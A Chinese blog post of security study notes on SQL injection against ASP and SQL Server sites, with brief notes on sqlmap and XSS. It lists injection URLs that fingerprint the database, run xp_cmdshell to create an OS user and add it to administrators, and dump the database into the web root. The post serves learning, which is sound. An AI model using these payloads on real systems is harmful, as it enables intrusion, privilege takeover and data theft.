网络攻防学习笔记 Day33
通过 SQL 注入攻击还可以达到以下目的:执行操作系统命令,读取文件,编辑文件,通过 HTTP 请求攻击其他服务器。
(1)http://xxx.xxx.xxx/abc.asp?p=YY and user_name()='dbo'
abc.asp 执行异常,可以得到当前连接数据库的用户名。如果显示 dbo,则代表 SA(sysadmin)。如果将上述语句中的 user_name()='dbo' 改为 and (selectuser_name())>0,则可获得当前系统的连接用户。
(2)http://xxx.xxx.xxx/abc.asp?p=YY and (select db_name())>0
abc.asp 执行异常,可以得到当前连接的数据库名。需要说明的是,这一步取决于服务器的设置。如果服务器端关闭了错误提示,那么很多信息,包括数据库名,就无法得到。
(3)http://xxx.xxx.xxx/abc.asp?p=YY; exec master..xp_cmdshell’ net useraaa bbb /add'--
其中,master 是 SQL Server 的主数据库;名中的分号表示 SQL Server 执行完分号前的语句名,继续执行其后面的语句;“--”号是为了注释掉后面的字符串,保证 SQL 语句能够正确地执行。上述 URL 可以直接增加一个操作系统用户 aaa,密码为 bbb。
(4)http://xxx.xxx.xxx/abc.asp?p=YY; exec master..xp_cmdshell’ netlocalgroup administratorsaaa /add'--
把刚刚增加的 aaa 用户加到管理员组中。
(5)http://xxx.xxx.xxx/abc.asp?p=YY; backup database 数据库名 todisk='c:\inetpub\ wwwroot\save.db'
则把得到的数据内容全部备份到 Web 目录下,再用 http 把此文件下载(当然首先要知道 Web 虚拟目录)。
(6)http://xxx.xxx.xxx/abc.asp?p=YY and (select @@version)>0
上述 SQL 语句可用于获得 SQL Server 的版本号。
Sqlmap 是一款功能非常强大的开源 SQL 自动化注入工具,可以用来检测和利用 SQL 注入漏洞。它由 Python 语言开发而成,因此运行需要安装 Python 环境。需要说明的是,Sqlmap 只是用来检测和利用 SQL 注入点的,并不能扫描出网站有哪些漏洞,因此使用前一般需要使用漏洞扫描工具或者手工找出 SQL 注入点。
跨站脚本攻击(Cross Site Scripting,XSS)是指攻击者利用 Web 程序对用户输入过滤不足的缺陷,把恶意代码(包括 HTML 代码和客户端脚本)注入到其他用户浏览器显示的页面上执行,从而窃取用户敏感信息、伪造用户身份进行恶意行为的一种攻击方式。
版权声明: 本文为 InfoQ 作者【穿过生命散发芬芳】的原创文章。
原文链接:【http://xie.infoq.cn/article/cd49e985e12613a09bbde1df4】。文章转载请联系作者。
评论